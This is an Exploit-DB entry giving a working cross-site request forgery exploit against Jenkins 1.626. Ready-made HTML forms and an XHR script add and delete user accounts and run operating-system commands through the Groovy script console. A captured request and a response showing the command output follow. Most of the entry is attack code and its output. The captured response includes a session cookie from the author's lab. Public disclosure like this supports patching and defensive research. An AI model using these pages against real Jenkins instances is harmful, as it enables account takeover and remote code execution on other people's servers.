Exploit-DB #37999
Description: Jenkins 1.626 - Cross-Site Request Forgery / Code Execution
Type: webapps
Platform: java
Date: 2015-08-28
Author: smash

Exploit:
# Title: Jenkins 1.626 - Cross Site Request Forgery / Code Execution
# Date: 27.08.15
# Vendor: jenkins-ci.org
# Affected versions: => 1.626 (current)
# Software link: http://mirrors.jenkins-ci.org/war/latest/jenkins.war
# Tested on: win64
# Author: Smash_
# Contact: smash [at] devilteam.pl
 
Cross site request forgery vulnerability in Jenkins 1.626 allows remote attackers to hjiack the authentication of users for most request. Using CSRF it is able to change specific settings or even execute code on os as shown below.
 
Examples:
 
<html>
  <!-- Change user descripton -->
  <body>
    <form action="http://127.0.0.1/jenkins/user/user/submitDescription" method="POST">
      <input type="hidden" name="description" value="abc" />
      <input type="hidden" name="json" value="&#123;"description"&#58;&#32;"abc"&#125;" />
      <input type="hidden" name="Submit" value="Submit" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
 
<!-- // -->
 
<html>
  <!-- Add user -->
  <body>
    <form action="http://127.0.0.1/jenkins/securityRealm/createAccountByAdmin" method="POST">
      <input type="hidden" name="username" value="csrf" />
      <input type="hidden" name="password1" value="pass" />
      <input type="hidden" name="password2" value="pass" />
      <input type="hidden" name="fullname" value="Legit&#32;Bob" />
      <input type="hidden" name="email" value="bob&#64;mail&#46;box" />
      <input type="hidden" name="json" value="&#123;"username"&#58;&#32;"csrf"&#44;&#32;"password1"&#58;&#32;"pass"&#44;&#32;"password2"&#58;&#32;"pass"&#44;&#32;"fullname"&#58;&#32;"Legit&#32;Bob"&#44;&#32;"email"&#58;&#32;"bob&#64;mail&#46;box"&#125;" />
      <input type="hidden" name="Submit" value="Sign&#32;up" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
 
<!-- // -->
 
<html>
  <!-- Delete user -->
  <body>
    <form action="http://127.0.0.1/jenkins/user/csrf/doDelete" method="POST">
      <input type="hidden" name="json" value="&#123;&#125;" />
      <input type="hidden" name="Submit" value="Yes" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
 
<!-- // -->
 
<html>
  <!-- Code execution #1
          groovy: print "cmd /c dir".execute().text
            -->
  <body>
    <form action="http://127.0.0.1/jenkins/script" method="POST">
      <input type="hidden" name="script" value="print&#32;"cmd&#32;&#47;c&#32;dir"&#46;execute&#40;&#41;&#46;text&#13;&#10;" />
      <input type="hidden" name="json" value="&#123;"script"&#58;&#32;"print&#32;&#92;"cmd&#32;&#47;c&#32;dir&#92;"&#46;execute&#40;&#41;&#46;text&#92;n"&#44;&#32;""&#58;&#32;""&#125;" />
      <input type="hidden" name="Submit" value="Wykonaj" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
 
<html>
  <!-- Code execution #2
          groovy: print "cmd /c dir".execute().text
            -->
  <body>
    <script>
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://127.0.0.1/jenkins/computer/(master)/script", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "pl,en-US;q=0.7,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "script=println+%22cmd+%2Fc+dir%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22cmd+%2Fc+dir%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Wykonaj";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
  </body>
</html>
 
 
Request:
POST /jenkins/script HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/jenkins/script
Cookie: JSESSIONID=E8F948238B2F4D6DAFAF191F074E6C3E; screenResolution=1600x900
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
 
script=print+%22cmd+%2Fc+dir%22.execute%28%29.text%0D%0A&json=%7B%22script%22%3A+%22print+%5C%22cmd+%2Fc+dir%5C%22.execute%28%29.text%5Cn%22%2C+%22%22%3A+%22%22%7D&Submit=Wykonaj
 
Response:
HTTP/1.1 200 OK
Date: Thu, 27 Aug 2015 18:06:55 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Expires: 0
Cache-Control: no-cache,no-store,must-revalidate
X-Hudson-Theme: default
X-Hudson: 1.395
X-Jenkins: 1.626
X-Jenkins-Session: 0ff3a92b
X-Hudson-CLI-Port: 1834
X-Jenkins-CLI-Port: 1834
X-Jenkins-CLI2-Port: 1834
X-Frame-Options: sameorigin
X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoMa5pk8H/b/c/jIOBH+D8XGi2/1MUshSuGtK41S9ON67SRR1Dzmqlzhj+Hsgla6+NJDCFKqZf3aoQbgt8nVzQRkb12bjYPHMupa58SApxwIyvhRJaNq9jq+CcllEwt9m+N1JeCxeLork82LAbiDSBbPhHBGLzqA0a9hzKVTm80i9yiTqDoEK+WyK4m8AyqJFH/V4lkERKbSr2YK1u2sFGCuBaGAK/RYspmNmJSqj0c3lPEYeDsehTSn4PHpFrbsvKkHKD1RxNDRciSFMNY3RtxpBEhKxvJHkpy9HKF+ktYebwCMZ4J8LKnhkvwqJPgpqar3FuxX4Gsfwoy0/1oCtPQIDAQAB
X-SSH-Endpoint: 127.0.0.1:1832
Content-Type: text/html;charset=UTF-8
Content-Length: 13468
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
(...)
><link rel='stylesheet' href='/jenkins/adjuncts/0ff3a92b/org/kohsuke/stapler/codemirror/theme/default.css' type='text/css' /><h2>Rezultat</h2><pre> Wolumin w stacji C to Windows7_OS
 Numer seryjny woluminu: D2DC-59F9
 
 Katalog: C:\Bitnami\jenkins-1.626-0
 
2015-08-27  18:51    <DIR>          .
2015-08-27  18:51    <DIR>          ..
2015-08-27  18:47    <DIR>          apache-tomcat
2015-08-27  18:47    <DIR>          apache2
2015-08-27  18:47    <DIR>          apps
2015-08-27  18:49             9�751 changel